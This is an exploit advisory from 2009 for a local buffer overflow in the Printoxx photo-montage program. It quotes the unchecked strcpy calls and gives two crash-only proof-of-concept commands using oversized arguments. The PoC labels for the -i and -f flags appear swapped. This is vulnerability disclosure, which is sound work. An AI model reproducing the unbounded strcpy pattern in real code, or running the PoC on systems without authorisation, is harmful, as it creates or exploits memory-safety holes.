# Exploit Title: Printoxx Local Buffer Overflow
# Date: 23 Dec, 2009
# Author: sandman, n4mdn4s [4T] gmail [D0T] com
# Software Link: http://kornelix.squarespace.com/printoxx/, http://kornelix.squarespace.com/storage/downloads/printoxx-2.1.2.tar.gz
# Version: <= 2.1.2
# Tested on: Fedora 12
# CVE: None
# Code:
Description:
"from website"
Printoxx is a free open source Linux program for making and printing a
photo montage. Images can be added to a layout page using the mouse to
select and drop into place. Images can be moved around and resized
using the mouse. Text can be added using any font, and moved around as
needed.
Vulnerability:
Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below.
Affected Code Segment:
.....
else if (strEqu(argv[ii],"-i") && argc > ii+1) // -i imageDirectory
strcpy(imagedirk,argv[++ii]); //Overflow
else if (strEqu(argv[ii],"-f") && argc > ii+1) // -f imageFile
strcpy(clfile,argv[++ii]); //Overflow
else strcpy(clfile,argv[ii]); //Overflow // assume imageFile
}
......
Proof Of Concept:
Image filename overflow:
$ ./printoxx -i $(python -c 'print "A"*1000')
Directory filename overflow:
$ ./printoxx -f $(python -c 'print "A"*1000')
Severity: Very Low
Note: Since this was tested on Fedora 12, the system automatically detected the operation as a possible buffer overflow attempt instead of a regular segfault. This is due to the fact that all executables on Red-Hat
RHEL and Fedora systems are compiled with canaries enabled.
#$